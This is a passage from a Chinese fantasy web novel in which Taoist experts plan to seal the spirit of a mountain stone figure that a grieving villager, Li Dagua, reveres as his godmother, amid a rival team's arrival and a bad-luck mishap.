李大拐双目充血,咬牙切齿的喊道,他身上的麻绳吱吱作响,麻绳间隙中渗出丝丝缕缕的油花。
“李大拐,你冷静点,那就是一块石头!”二麻子喊道。
“不,那就是俺娘!你们、你们不能动俺娘!”李大拐卑微的喊道。
他通红的眼睛带着泪,声音有些呜咽,他不懂,为啥有人想要来杀他的娘亲。
杀!
杀了这两个恶魔!
杀了他们!
“村长!”
李大拐乞求声中带着一丝希翼,他希望村长帮帮他,帮他解开绳子,帮他……
“狗娃~,那石头它不是你的娘,你娘在你一岁时就死了,专家是俺……”
“是啊!大拐,那块石头它只是你干娘,你要想……”
村长喊着李大拐的小名低声解释,旁边的二麻子一同开解附和。
可李大拐又怎么听得进去,又怎会听得进去,眼泪模糊了赤红的双眼,他恨!
两人之后再讲什么他已经听不清了,他的委屈、他的愤怒、他的娘亲!
娘!
死!
不能让娘死,狗娃不能没有娘亲……
你们、你们都是坏人!
坏人!!!
你们、你们都该死!
他深深的、深深的看着眼前的这四个人,牢牢的把他们一笔一划刻在脑子了。
直到……直到它们支离破碎!
还有、还有……他们……
麻绳深深的勒进肉里,可他仍浑然不觉,一身的肌肉绷得宛如铸铁。
“这里交给我吧!我来劝劝他!”
众人闻声看向燕迟,说话的正是他。
“迟哥儿~”X2
“顾所……”X2
村长与王二麻子诧异的看着两位专家,他的名字明明是叫燕迟。
“村长,你先过来。”
燕迟拉着村长走到远处,二麻子好像还没回过神来。
“村长,你马上回去让李长健收拾东西到出去躲一躲,什么时候村里石人的事情解决了,什么时候再让他回来。”
“啊!迟哥儿,这……”村长有些为难。
“就是李长健告诉大拐他干娘的事情。”
“啊!好!我马上回去!”
村长愣了一瞬,随即说道,他已经知道了事情的严重性,立即气呼呼的扭头走向摩托车!
这个李长健!!!
“你们也回去吧!”燕迟对着顾念海、房德说道。
没等两人回应,他走到李大拐面前蹲下,看着他,帮他擦掉眼泪。
“大拐哥,你相信我吗?”
“哇!迟哥儿~”
李大拐看着眼前人,他内心里的悲伤、委屈、不满都顺着眼泪一股脑的涌了出来……
12. 解铃还须系铃人
顾念海带着房德知晓缘由后双双叹了口气默默离开。
能这么办呢,他们所干的事情,也不是每个人都能理解的。
只希望李大拐经过开导之后能想开点。
今天这件事归根到底还是在石人身上,如果这石人还是块大石头,如果没人认石人做干娘,如果他们不想解决这石人……
可惜,这世界没有那么多的如果,一饮一啄早已注定。
“走吧,进屋坐坐!”
燕迟抓住麻绳,像拎小鸡般拎着李大拐进到屋内。
关门、落锁。
李大拐被绑得死死的,却还不老实。
“迟哥儿~你把我解开,我去干死那两东西。”
“迟哥儿~,他们不是好人,你……”
“迟哥儿~,我要娘亲……”
“迟哥儿~……”
燕迟听到了,没有理会,一路提着他进到了屋里放到地上,自个做到了椅子上逗弄着小狐狸。
“迟哥儿,你、你为什么还不解开绳子?”
“难道你和他们是一伙的?”
李大拐像蛆般蠕动了半天,发现绳子还没解开昂头质问。
“是,也不是!”
燕迟老实答道,他不忍心去骗一米八的憨汉,他是一个苦命人,小时候对自己很好,有啥吃的都会给他一份。
“燕迟,你……”
“哇~呜!……”
这个大汉终是忍不住哭了起来,铁打的身体像是失去了支撑,瘫软下来。
为什么最信任的人也不和他站在一起。
燕迟眼中闪过一丝不忍,蹲下身扯了扯李大拐身上的绳子,之后就没再理会,一个人走进卧室旁的小房间内。
没完全解开绳子,只是打松少许,让绳子不至于阻断血液流通。
小房间里放置的都是以前用过的老物件,老头子走了之后,很多用不上的东西都放在了这间房间中。
燕迟翻出一个上锁的木头箱子,又从一个抽屉中拿出一个小铁盒,铁盒里存放的都是钥匙,钥匙上连着小木片,备注好了对应锁头的位置。
开启箱子,箱子里都是些抄录的书籍和记事本,还有几封信件。
燕迟抽出一封信,带着信离开了这个房间,这封信是老头子留给今天的李大拐的。
离开小房间,他直接回到卧室,把信随手放到一旁就躺到床上呼呼大睡,小白狐选了个舒服的位置陪伴着他。
一觉醒来,已经是两个小时以后。
燕迟伸着懒腰起来,拿上信件走出房间,该去看看大拐哥了。
客厅有些凌乱,李大拐趴在地上睡着了,身上脸上都是泥灰。
看得出来他哭过,闹过,实在是没力气了才睡过去的。
这封信是时候该给他看了。
燕迟解开李大拐身上的绳子,绳子绑得紧实,废了好大劲才全部解开。
“大拐哥,你醒了。”
“嗯”李大拐闷闷的应了声。
在解开脚腕上的的绳子时,燕迟就发觉李大拐的呼吸变了,猜到他应该是醒了。
李大拐是村里出了名的赶山人,很多时候都是在野外睡觉,早就练出了睁眼睡觉的本事。
这里的睁眼睡觉不是真的睁着眼睛睡觉,而是在睡觉的时候,周围一有点风吹草动,能够判断出是否有危险,一旦感觉不对,立即清醒过来。
要是不会这手,那根本不敢随意休息,毕竟不知道下一个路过身旁的是毒蛇还是毒虫,又或是寻着味来的野猪、熊瞎子。
“老头子给你留的信,你打开看看。”
燕迟将信递给李大拐,信封上写着:狗娃亲启,李大拐将信将疑的接过信件。
老头子已经走了近十年了,要是有留给他的信件,为何现在才给他?
可信封上的字迹分明就是出自老头子之手,他的字迹很好认,带着股说不上来的精气神。
李大拐拆开信件,打开信纸看了起来。
“狗娃,好久不见,当你看到这封信的时候,……“
不多时,李大拐抓着信件的手无力的垂下,七八张信纸散落在地,他脸上满是泥灰的脸庞被泪水冲刷出深深的沟壑。
燕迟见此深深的探了口气,虽没看过这封信件,但内容已经能猜晓一二。
唉!
原本箱子里还有一封信是给今天的他,但早在八年前给老头子整理遗物的时候,他就打开看过了。
想留下信件当谜语人?
嘿嘿,他可不同意,当场就拆开看了起来,然后装着什么都不知道,就当没看过。
时间的车轮滚滚前行,一晃眼,八年过去了,一切就像老头子预料的那样。
李大拐是个苦命人呐!
他是个早产儿,先天不足,一出生低烧不退,高烧不断,能活下来完全就是靠着父母一直从山里采药材回来续命。
村里人包括老头子都劝过他父母放弃这个孩子。
这孩子是养不大的。
可他父母死犟的很,说什么都不愿意放弃,老头子也只能看病开方,能拖一时是一时。
一个健康婴儿,都被誉为吞金兽,那一个先天不足的早产儿呢?不止吞金更吞命!
老爷子给李大拐算过命,这人克己,克父母,早夭之相,破运之体,注定活不过三岁。
他的父母也是知道这件事,但他们不信命,夫妇两个是九头牛都拉不回来的犟种,每天早起贪黑的进山采药打野。
其他村民一天能在山里跑二三十公里,他们保底能跑五六十公里,只为找来草药给孩子治病。
可别觉得跑山容易,他们跑的都是真正的荒山,未被开垦过的荒山,山上的杂草能到腰,一眼看去,根本没有路,全部都要靠着自己手里的刀砍出一条路来。
期间还要留意附近有没有需要的草药,留意那些潜藏在草从里、落叶下的毒蛇毒虫,更要留意附近有没有什么野兽游荡。
比如狼、野猪、熊瞎子这类的,遇到这些凶猛的野兽,它们才是荒山中的猎杀者。
或许是夫妇两的执念感动了山灵,山灵注意到了这个襁褓中的孩子。
再后来,老头子帮李大拐改了命,认了山灵作干娘,让他长大成人!
“迟哥儿~,干娘,干娘要走了吗?”
李大拐结结巴巴的问道,内心里仍然不愿意相信这一切。
“嗯,别做傻事,你干娘要回山里去了。”
燕迟安慰道,弯腰把信纸一一捡起,整理好。
“不!我不信,这这不可能。”
李大拐连连摇头,脚步慢慢后退,不可置信的看向信纸。
突然,他扭头转身就往外跑,一下子跑到大门处,大门挂了锁头锁住了,却经不起李大拐猛的拉一下,
锁开了,人跑得不知所踪。
燕迟算了算,算出顾念海、房德这次的劫数过了之后,放弃了追出去的想法,让李大拐先静静吧。
希望他能想开点!
接下来一连几天,村子里像往常一般平静,村民日出而作,日落而息,没有外界的纷扰,一片祥和自在。
第四天中午,
一辆皮卡带着好几辆越野车、两辆卡车出现在村头,头车里开车的正是宋应星。
“到了,我先去村委,你们自己安排吧!”
宋应星拿起对讲机喊了一句,就丢回车柜里,油门一踩,车子便进了村。
“跟上!”
对讲机里响起一个年轻的声音。
整个车队立即吊在皮卡车后面,附近干活的人,沿途屋里的人纷纷注视着车队,好奇他们是来干嘛的。
一个二三十户的村子来了好几辆车,那就像是鲸鱼掉进了鱼塘,那可是大动静啊,不到十五分钟,消息就传到了村长那。
叭~叭~叭~
听到喇叭声,顾念海和房德出门查看,看到了从车窗探出手臂招手的宋应星,看到后面跟着的车队。
“好大个阵势,看样子来了不少人呐。”
听到房德的话,顾念海脸上挂起笑容,来人好啊,人越多越好啊!
“走吧!去迎接一下
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他们!”
顾念海说道,往村委前面的大空地走去。
“这些天可累死我了,你们在村里享福有没有想我!”
宋应星活力满满地从车上下来,活动身躯舒展拦腰,只可惜太过平易近人。
“你才是享福的那个,这几天净往山里钻去养蚊子了。”
房德皱着脸说道,他没说谎,为了绘出这片山脉地势,这几天两人跑了不少山头,上蹿下跳可累人了。
“这不是海德星小队嘛,顾队长,幸会幸会!”
一旁传来的笑声打断了三人的寒暄,以赵九州为首的一群人向着顾念海三人走来。
“哪里哪里,赵队长过奖了,这只是所里冠的名头。”顾念海笑着回应。
“这名头是虚名吧!言过其实了,只是个花架子。”
人群里响起不和谐的声音,虽不是大声喊出,却也是正常说话的声音,在场人听得明明白白。
“谁乱说话,海德星小队的名号是实打实的成绩打出来的,谁再乱嚼舌头,休怪我不讲情面。”
赵九州听到声音后,连声呵斥,然后扭头跟顾念海赔礼。
“顾队长,队伍刚整合,还没整合到位还请顾队长多多包涵。”
赵九州这高拿轻放的动作三人都看在眼里,一个唱白脸一个唱红脸,分明是来者不善。
房德面露不恁却被宋应星拉住没有出声,顾念海脸上笑容不减,笑着回应。
“赵队长刚组建这么庞大的队伍,就能来执行重要任务,赵队长的手下可谓人才济济啊。”
“这新队伍就这样,多磨合磨合就好了,有了机头后面的车厢还能跑丢嘛!”
赵九州脸上的笑容僵了僵,这顾念海句句关切,实则句句是骂得很难听。
“顾队长,我们刚来到,人生地不熟的,还请顾队长帮忙协调安排一下住宿。”
顾念海左右看了看,赵九州这次带来的人可不少,估摸着有二十来号人。
“赵队长客气了,村委还有两间空房,怕是安排不了这么多人,不如等村长来了再做打算如何?”
赵九州点点头,打手一挥,众人便有了行动。
一旁的顾念海见此,带着三人回到自个的房间。
关上门,
三人围坐在床边。
“这群人来者不善,话里话外都带着刺。”房德说道。
“我知道,就让他们去吧,最好是能把这次的任务让给他们。”
顾念海说着从枕头底下翻出一张纸来,纸张折了好几次,一打开赫然是长宽各一米的大地图。
这是他和房德这几天的努力,白天去勘探地形绘制到本子里,夜里他再把地图转绘到这张大纸上。
宋应星仔细看了看惊叹道。
“好壮阔的地势,山河汇聚,藏锋纳灵,似潜龙沉渊,隐而不发。”
“这是石人的位置,”顾念海指着地图上的一处说道,
那里正是龙首正中处,龙珠所在。
“这里是村子?”
宋应星指着地图上一处标注着房子的位置问道,房子和石人离的不远,再加上来回走过一趟,很容易就能猜到。
“嗯!”
顾念海点点头,宋应星倒吸一口冷气,房德则面露惋惜。
村子坐落在龙口处,就像是大龙嘴边的一块点心,只需要张张嘴,就能吃到嘴里。
宋应星看到了未来,若是石人恶堕,龙首开口,这村子必然无一生还。
房德则是可惜这石人并非恶灵,若能斩掉一尊分量如此之重的恶灵,他此生也就功德圆满了。
“给你们看这份地图,是提醒你们不要和赵队长他们起冲突,不管这石人是善灵,还是要恶堕,这份因果我们都抗不住。”
“你们若是为争一时之气,那就别怪我割席断义,翻脸不认人,待此间事了,我会给你们多敬几杯酒赔礼。”
顾念海话说得很重,熟知他的二人明白,这话里没有半点水分。
他们老老实实的点点头,毕竟敬酒赔礼,入土了也能喝上。
13. 石人凶威
忙活一下午,赵九州带来的人在大广场上搭建起了五个大帐篷。
期间,村长来过一趟,在与赵九州商量后,带着笑哼着曲儿接下了队伍后勤保障的活计。
赵九州给得太足了,原计划养到年时的猪,鸡、鸭、鱼、柴米油盐啥的,统统按照现在的行情价翻倍买!
农村啥都缺,可唯独不缺这些肉食,养了两三年的猪和鸡鸭,池塘里放了几年的鱼,应有尽有,只是平时不舍杀。
而且,赵老板财大气粗,都是论头论只买,同时还雇村民们帮忙杀,这简直就是活菩萨啊!
先不论鸡鸭鱼这些,光是杀猪剩下来的边角料猪肺、肠子、剔出来的骨头什么的,都够来帮忙的村民美到冒泡。
最最关键的一点,这赵老板是有钱真给啊,两三叠大红票子,看得村长眼睛都直溜了,口袋也鼓了。
村长匆匆而来,匆匆而去,
他赶着去招呼村里的每户人家,土财主下村了,有啥好货都亮出来,老板不缺钱!
这不,帐篷刚搭完,柴米油盐、锅碗瓢盆、桌椅板凳都到位了,一起来的还有好几笼鸡鸭、几桶鱼给队伍里的人任选。
如果不是天太晚了,村里的壮小伙子们能把自家猪绑了抬过来。
瞧那肚皮鼓鼓囊囊的做菜厨子,他是村里红白喜事必请的大厨,手下出师了三个徒弟,平时就帮着徒弟镇镇场子,很少亲自动手。
现在一听村长招呼,大厨觉得自己的青春又回来了,亲自动手开火做菜。
红彤彤的票子洒下去,整个村子瞬间动了起来,热闹的很呢。
傍晚,
赵九州小队在广场上摆了几桌一起吃饭,顾念海和他的队员们则是在屋里吃。
两拨人各煮各的,各吃各的。
“房德,你手艺不太行啊,这菜总感觉差点味道……”
宋应星玩笑道,屋外的饭菜香气太香了,吃进嘴里的饭菜和闻到的菜香一比,落差太大。
“有吃的还堵不上你嘴,有的吃就不错了。”
房德不耐的用筷子在饭团上戳出两个洞,
他当然明白个中缘故,这冰箱冷冻的比现杀的差些,更别提外面的专业厨子。
人家开火起油,刚放入姜蒜就爆出一股萦绕整个广场的浓香的时候,就已经看出手艺的高超了。
他自己厨艺是很好,可比起这种专业厨龄不知道多少年的老师傅还是要差上不少,对方材料新鲜、手艺高超怎么比得过嘛。
咚咚咚,
嗯?
门外来了个年轻人,敲了敲门礼貌道。
“顾队长好,赵队邀请您和小队一起过去吃饭。”
顾念海自然不可能过去,若是有心邀请,早在没动火前就可以过来知会了,双方离得不远,喊一声或者多走几步路就行了。
“不用了,麻烦帮我转告赵队长,多谢赵队长的好意,顾某心领了,只是我这里已经做好饭了,已经吃得差不多了,就不过去叨扰了。”
他面前的碗里还有大半碗饭,显然刚吃两口。
“唉!顾队长,是我们工作疏忽了,没能及时通知您,赵队心里是记挂咱海德星小队的,特意有给您留了一桌,实在是刚来到,太慢了,还请顾队长见谅。”
年轻人一脸歉意,只听他一声招呼,就有几人端着几盘菜走过来。
“顾队长还请您品尝一下这些饭菜,这都是赵队的一番心意,不管您过没过去,赵队心里始终是有您的。”
几个人来得快,去得快,连带那年轻人心中也是如此,只留下了几盘菜在桌上。
三人面面相觑,搞不懂这赵九州在搞什么名堂,这未免也太过生硬了。
顾念海心想,难道他是错怪赵九州了?莫非不是他?
房德打断了顾念海的思绪,嘿嘿乐道:“都动筷吃啊,难得赵队记挂,都是一番心意,怎么能浪费。”
他边说边下筷,吃了一口后,连声赞扬,
“还别说,这老师傅的手艺真有两把刷子,这菜是真好吃啊!”
宋应星跟着尝一筷子后,一巴掌捂在额头上,这呆子……
“房德你去找那做菜的师傅好好跟着学一下,把他手艺学过来。”
“……”房德不说话,只是一味的吃。
宋应星见此也没再出声,手上的筷子频频出击。
好个……阳谋!
这菜里没手段,有手段的是人。
顾念海心中叹了口气,看来要去找赵九州聊一聊了,这几口菜真不是那么容易吃的。
“你们给我留点。”
三人各怀心思的吃完了饭,各自回到自个房间休息。
夜深了,
顾念海找上赵九州,在赵九州的房间里商谈了好久,留下了那份手绘地图。
一夜无事。
第二天一早,
一众人员聚集在一起整装待发,顾念海三人站在队伍的末尾位置。
随着赵九州一声令下,一群人出发进山了。
刚进山没走多远,就发现山里……起雾了。
稀薄的雾气好似一面轻纱,笼罩着前方的山和路,只能看清前方十几米,再远就看不清了,朦胧的只能看到一个轮廓。
队伍走了几分钟后,突然看到前面人影晃动,走得近了,才看见是七八名村民或站或坐的在山路旁休息。
“赵队,情况有点不对劲。”
赵九州闻言点点头,突遇奇事,必有蹊跷。
“顾队,你这么看?”
“他们都是村里的跑山人,就是不知道为何会聚在这里,倒也奇怪。”
顾念海摸摸下巴,这几个人他这几天都在山里见过,每天天朦胧时就进山了,一个比一个腿脚麻溜。
“来都来了,先去问问情况,嘿嘿!”
赵九州轻笑一声,带着人继续前行。
“老乡,你们都聚在这里,是有什么事情吗?”
一坐着的村民见到来人,惊讶道。
“专家?是专家来了!”
其余村民一听,全都围了过来,眼里满是好奇,却又拘束的保持距离。
“哟!真的是专家。”
“哇!第一次这么近看到这么多活的专家!”
“你个呆的,专家那当然也是人,就脑子和我们不一样……”
众人无语,评价的很好,不要再评价了。
“老乡,都这个点了,你们不进山,在这里做什么呢?”
赵九州再度问道,村民们面面相觑,热闹的气氛一下子冷下来,左看看右看看,像极了被老师抽问的学生们。
点了最前面的村民回答。
“专家们,今天不知咋了,山里起了怪雾,我们进山不懂咋的了兜兜转转又回到这里了,接连好多次了,每次都转回到这个地方。”
“往常山里起雾,都没遇到过这么邪门的事情,今天这雾气很不寻常,天都大亮了,还是没散去一点。”
“专家,你要相信俺啊,俺没说谎,不信你问问他们,他们也是一样的情况。”
村民紧张的说道,话了还指指周围的村民。
“对对对,就跟老王说的一样,俺也不知咋的,转了好几次山都没进去,”
“俺也一样,今天这山贼邪乎。”
“也不知是不是山神老爷生气了,不让我们进山。”
此话一出,一众村民纷纷噤声,不由的打了个哆嗦。
赵九州深深看了眼那名说话的村民,对着一旁的年轻人说道。
“安排两名兄弟,带着他们先回村里,然后守着路口,先不要让人进山了。”
“老乡,看来今天不适合进山,你们跟着这两兄弟先回家,去干些其他活,今天就不要进山了。”
众村民欲言又止,看着赵九州一言不发。
“你们是不懂专家的含金量啊!赵队可是出名了明的专家,能掐会算,光是看你们一眼,就知道你们今天进山没有收获。”
“城里人想找赵队算一次都难求,现在为你们免费算,你们就偷着乐吧。”房德嘿嘿笑道,
“赵队铁口直断,不信你们自己试试能进山吗,最后还不是回到这里。”
一众村民一听,好不容易硬起来的气势就软了下来。
是啊,别看人家脸嫩,那是因为人家是专家,能掐会算,返老还童。
人家是专家,城里人都捧着,能让专家免费推算,他们赚大了。
众村民脑子滴溜溜的转,一下子就想明白了,脸上带笑,他们下山,还能让专家派人送着,回去能和那帮老娘们吹嘘一阵。
这可是专家认证,值得信任。
“俺们听专家的,专家说啥就是啥!”
“嗯嗯,专家是对的!”
“俺也一样!……”
有了一个带头,剩下的纷纷附和,赵九州一个眼神给到旁边人,很快就有两名年轻小伙带着村民下山回村。
待到人走远了,赵九州才悠悠说道。
“石人划下道了,都拿出点本事来,别没见面就打退堂鼓啊!这传出去我的脸还要不要了。”
“都跟进了,一个跟一个,不要掉队。”
一行人闻言,都亮出看
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家本事,有人手掌一翻,一块罗盘浮现手中,有人一抖手中浮尘,道了声无量天尊。
有人老神在在,已然心有成竹。
“走,进山!”
赵九州一挥手,便跟着顾念海走进这山里。
手里有地图,还有到过石人位置的向导,区区迷阵,小道耳。
日上三竿,
一行人总算来到了碎石堆处。
“……”
“你们是什么人?两位专家?不许动干娘!”
一声怒喝响起,众人方才回过神来,看到那尊石人面前拦着一个高个汉子,汉子手里还拿把柴刀。
赵九州眼中惊疑不定,接连后退两三步撞上身后的人,扭头却是对上对方还有几分惊惧的脸庞,再观周围其他人,或多或少都有些不自然。
难道他们都陷入了幻境?赵九州暗暗思付。
“你们赶紧走,不然休怪我不客气。”
“这人就是李大拐,石人就是他的干娘。”
顾念海在赵九州旁耳语道提醒道。昨晚已经共享过情报,是以很快明白对方的身份。
“大拐兄弟,你别激动,咱们有话好好说,我是领头的,你有事就和我说,我能做主。”
“你?”
李大拐狐疑的看看顾念海、房德,又看看赵九州,眼神来回在几人脸上扫过。
“没错,我就是能做主的那个,你有什么事情就和我说。他能证明!”
顾念海点点头同意。
“好,我信你,你们不能动俺干娘。”李大拐认真道。
“好好好,先不动,不动你干娘。”赵九州认真道,
“我来呢,是想了解一些事情,也有问题想和大拐兄弟讨论一番,要不去旁边聊一聊?”
“你个头子,说话绕来绕去的,俺不懂你说啥,反正你们不能动俺干娘。”
李大拐挠挠头,头发有些打结,身上的衣服有些邋遢。
就在石人不远处,有个用木头搭起来的小棚子,上面有两块大的透明塑料膜加木棍、树叶盖住。
棚子里好像放有什么东西,棚旁边还有一口锅和一个大碗,两大箱水,其中一箱已经见底。
“大拐兄弟,我不动你干娘,我有事情找你,我们去那边说。”
听到赵九州的话,李大拐收起刀放到腰间的竹筒套内,认真问道。
“真的?”
“真的,比珍珠还真!”
赵九州认真道,内心默默补了一句:在和你聊完之前,不会动。
“那俺愿意和你聊。”
“这里不好说悄悄话,咱们去那边。”
赵九州指着一处僻静角落,临走时看了一眼身旁的年轻人,年轻人心领神会的点点头。
他和李大拐一前一后的走向了那处僻静角落,两人距离近了,赵九州不自然的摸摸鼻子,李大拐则频频回头看向石人,没有注意道赵九州的动作。
“九州兄弟,你来山里住几天了,身上的衣服都有味了。”
李大拐抬起胳膊,鼻子用力吸了几口,一脸无辜。
“不都一个味嘛,俺守着干娘四五天了,就怕你的那两个手下乱来。”
都腌入味了,不不不,这个不是重点。
重点是这石人在李大拐心中的分量很重,要想办法做通他的工作。
“大拐兄弟……”
另一边,
一群人围坐在石人周围,看着石人低声讨论,最显眼的是九位聚在一起的老头,手里拿着个放大镜,认真看着一张手绘地图。
一个看完了,另一个接过放大镜继续看,还不时拨弄罗盘,口中念念有词,不知说些什么。
其中一老头看了半天端详几番石人后,走到石人面前作了一揖,然后一手罗盘,一手浮尘,脚下踩着七星八卦方位,绕着石人转圈。
一圈,
两圈,
三圈未完……
老头突然脚下一滑摔倒在地,传出一声清晰的咔哒声,他的面色一白,豆大的汗珠从头上冒出来。
旁边众人看得分明,这老头脚下是柔软的泥土,没有什么碎石,他就这么左脚绊右脚的摔倒了。
“老牛鼻子,你咋了,你可别吓我啊!”
一老头火急火燎就要冲到他旁边,地上的老头大惊失色,连忙阻止。
“别,别过来!”
“哎哟!”
咔哒、咔哒……
又是一个左脚绊右脚摔的,还摔到前一个老头的身上,听声音不知那根骨头断了。
众人看得心惊胆战,不敢有所动作。
14. 锁灵计划
“别乱动,慢慢靠着石头坐下。”
房德轻声提醒旁边的宋应星,那两个老头的摔倒不是偶然,是霉运缠身。
在老头走向石人的时候,他就开了天眼,天眼能看到寻常时候看不到的事物,天眼开启后就一直盯着那老头。
刚开始转圈,围绕老头的白色气运就发生了变化,像是一滴墨在水中化开,气运变灰,每迈出一步,那气运就深邃一分。
偏偏那老头还不自觉,直到第三圈,环绕周身的气运已经漆黑如墨,已经不能称之为气运,而是霉运。
汇聚起来的霉运就像是一颗巨大的水球,只需像第二个老头那样,浑身的气运瞬间染黑,霉运连连。
房德和宋应星不敢大意,依靠石头,缓缓地,缓缓的坐向地面。
“快,快帮忙。”
一年轻人打了个招呼,就向着两老头小跑过去,其余人闻言跟着动身。
哎哟!哎哟……
那年轻人好像一步踏空,身体失去平衡,眼看着就向两老头摔去,他的眼里有些惊慌。
关键时刻,那年轻人双手用劲一推,翻身别跨,险险的避开了两个老头。
嘶!
看到这一幕的人深深吸了口冷气,年轻人用手撑地不慎扭伤手腕了,手腕关节处以肉眼可见到地浮肿起来一个大包。
有脏东西!
“急急如律令,天眼开!”
“望气术!”
……
各家自展本事,亮出自家的探查手段,不看不知道,一看吓一跳,皆看到了那霉运水球。
“诸位前辈,王前辈等人霉运缠身,不除根源,恐会波及我们所有人,还望一齐出手,打掉这团霉运。”
“好!”X n
众人齐声应道,只见一年轻人甩出三张三角符飞向那团霉运,刚接触,符包凭空自燃,霉运团缩小了微不足道的一圈。
其他人亦是如此,纷纷甩出符纸或是三角符来消磨霉运团,很快就消磨得只剩篮球大小。
一年轻人见状大喜,当即手握桃木剑,抬脚一跺,口中念念有词。
“……意感天地,八方雷动,荡气诛邪……斩!”
左手抹过剑刃,便朝那霉运团隔空斩下。
不好!
最先反应过来的是房德三人,他们一直在浑水摸鱼,关注这群人的行动,那年轻人刚握上桃木剑,便手腕一翻,一块不到手掌大小的八卦镜护持在胸前。
另一边的老头组,在听到咒语时,脸色一变,连忙在随身袋子中摸索,不到半息,总算是赶在木剑斩下前掏出八卦镜护在身前。
“八卦乾坤,护我周全,万法不落,诸邪不侵,乾坤自成!”
轰!
剑落!起惊雷!
那霉运团被一剑劈散,四散而逸落。
有八卦镜护持的自然不慌,但其余人就没那么好运了,碎散的霉运接触到他们,便水乳交融与本身的运气融合到一起。
“你这年轻崽,谁教你用雷法去斩霉运团的。”
“你老师是谁,告诉我谁教的你!”
“你个乌龟王……”
惊魂未定的老头当场指着那年轻人破口大骂!
一众老头纷纷附和,这手法太莽了!
就像一群人看到一坨新鲜牛粪,其他人想的都是这么铲走,搬走,或是多盖些土埋了,偏偏有个人直接往那坨牛粪上扔了个炮仗,还不告诉其他人。
下一秒轰的炸开花,主打一个人人有份。
其他人一看自己的气运纷纷脸黑了,看那拿桃木剑的年轻人眼神不善。
“肖师弟,师兄想和你说几句掏心掏肺的话!”
“肖师弟,等下回到村里,我【请】你吃【饭】”
“肖师弟,听我说【谢谢你!】”
离得远的年轻人和颜悦色,满脸笑容的打招呼,离得近的年轻人,已经上手了。
唰的一下,夺下桃木剑然后手指不小心撞到石头上,但那不重要了。
重要的是亲爱的肖师弟。
【捏肩膀】、【按腰】、【锤背】
怎么舒服怎么来,快活一条龙给肖师弟安排上。
嗯!最重要的是把肖师弟的嘴捂上。
打闹一阵后,肖师弟竭力挣脱了捂嘴的手掌,大声喊道:“赵师兄救我!”
“发生什么事了!”
赵九州听到喊声后,与李大拐匆匆赶过来。
“没事!”
“赵师兄,没出事!”
“肖师弟那是乱喊的!他有没有事,我们离得近的能不知道嘛!”
肖师弟周围的年轻人都有些不自然,或是背靠石头、或是遮挡手臂,或是面无表情侧身相对。
倒是肖师弟揉腰晃肩,不时眼睛眉毛聚到一起倒吸冷气。
这是没事的样子?
赵九州看着几人的行为越发觉得怪异,便说道:“肖师弟,你走两步看看。”
肖师弟不明所以的走出两步,“赵师兄,你要为我做主啊!他们、他们……”
回头对上几人愤恁的眼神,抱怨的话停在了嘴里。
“你先别管着坑人的玩意了,先看看那几个小子。”老头出声提醒道。
“那你们几个也走几步?”赵九州指着行为怪异的几人。
“你左手怎么了?”
第一个动身的年轻人脸色不自然的回道。
“左手拇指脱臼了,还在抽筋!”
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“你是什么情况?还有你俩!”
“脚扭了!”
“脖、脖子抽、抽筋!两、两条、大筋扯着。”
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赵九州快步上前,抓住一年轻人的手臂,揉了几下手上的肌肉,抓着拇指一捏一推,就把脱臼的拇指按回去了,
“多谢师兄!嘶!”
年轻人刚道谢,不料脚下一滑,整个眼看着就要侧倒下去。
赵九州眼疾手快出手扶住了,
“赵师兄,脚抽筋了……”
“……”
得,你先坐地上吧!
安置好一个后,赵九州走向下一人,扶着他慢慢坐到地上,然后正骨。
最后一人也是如此。
紧接着,赵九州又简单的帮霉运三人组包扎治疗,其中两位老道长都摔断腿了,王道长伤得
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更重些,多断了根肋骨。
最后赵九州从老头那里得知了来龙去脉,没好气的瞪了眼始作俑者——肖师弟。
“大拐兄弟,别忘了我们的约定,希望你能走出来。”
临走前,赵九州拍了拍李大拐的肩膀,今天已经不适合再做其他事情了,除了老头组,上山的人有一个算一个,全部霉运缠身。
哦,肖师弟除外,他没事!
原地休整一阵后,赵九州决定下山,留在这里恐多生事端,只能等众人霉运过去之后再做打算。
……
烈日高悬。
赵九州一行人总算是有惊无险的挪回到了村里,简单收拾之后,全部人已经躺到了床上。
沾染的霉运在回来的路上已消耗的七七八八了,毕竟不是自己的运气,不会进一步酝酿。
剩下的那些,也就是喝凉水塞牙、吃鱼被鱼刺卡喉咙、吃肉时骨头塞牙的小问题。
期间,某位可爱的小师弟受到师兄们的炽热呵护,进行一番掏心掏肺的关爱且略过不表。
时间来到晚上。
吃过晚饭后,赵九州召集到会议室开会。
会议室时村委剩下的两间空房之一,另一间是赵九州和三位最年长的老道长的宿舍。
来会议室的都是各个小队的队长,约莫有七八人,都是自带板凳来的,一下子坐满了小半个房间。
“今天召集大家开这个会的目的,就是锁灵!”赵九州开口道。
锁灵!自然是锁石人的灵,
没有灵,石人便是一尊泥胎塑像,换句话说,是死胎!
“开会前,先告诉大家一个不好的消息,王道长中风了!”
众人闻言,心中一惊,王道长正是绕着石人的那位,没想到他被反噬的这么严重。
“我们外出行动,安全第一,不要贸然行事,一切要以大局为重。大家要吸取肖师弟的教训引以为戒。”
“大家来看看这份地势地图,我们来商量一番该如何布置阵法。”
赵九州拿出一份地图给大家传阅,地图上正是这一片的山川地势。
一人接过地图,周围的人都凑过脑袋一同观看,他们看到不仅是山川地势,更看的是石人能调动的地脉力量。
如今是末法时代,神魔不显,万法沉寂,就算石人是天地宠儿也不可能完全调动一整片山川地势的地脉。
他们要对付的这尊石人,居于龙首处,能引动的主要是龙首部位的地脉之力。
“这尊石人居于龙首,观其位置,似在龙首灵台之位,可探出道台几何?”坐在最前面的老道长问道。
道台是指承载石人的底座,是与天地沟通的桥梁,也是孕育石人的胎盘。
赵九州看向角落示意,顾念海出声应道。
“房德探查过,石人道台宏大,似与山体相连,所观或是冰山一角。”
老道长摸摸胡子,对此并不意外,龙首出石人,并不符合孕育之道,除非!
“风从虎,云从龙,这石人应掌控有龙珠之力,有控制天象之能,证据便是今天所见之白雾迷阵。”
众人闻言,眉头紧皱,龙在神话中便是呼风唤雨的代表,掌控风雨雷电。
15. 八卦锁灵,谁是执刀人!
在燕国大地上,流传着很多关于龙的传说,例如呼风唤雨的龙王、统御四海的龙族、代表王朝兴衰的气运金龙、蜕蟒化蛟跃成龙等诸多传说数不声数。
在无数的神话故事中,都有龙族的身影,不管他们是小卒、坐骑;还是伴侣、反派亦或是主角,都在影射着一个事实。
龙族的存在!或者说龙的力量!
强与弱永远是相对而言的,在神话中龙族或许只是一道搭配风髓的原料,但在他们这个神魔不显,万法沉寂的世界,龙族就已经是天花板的存在。
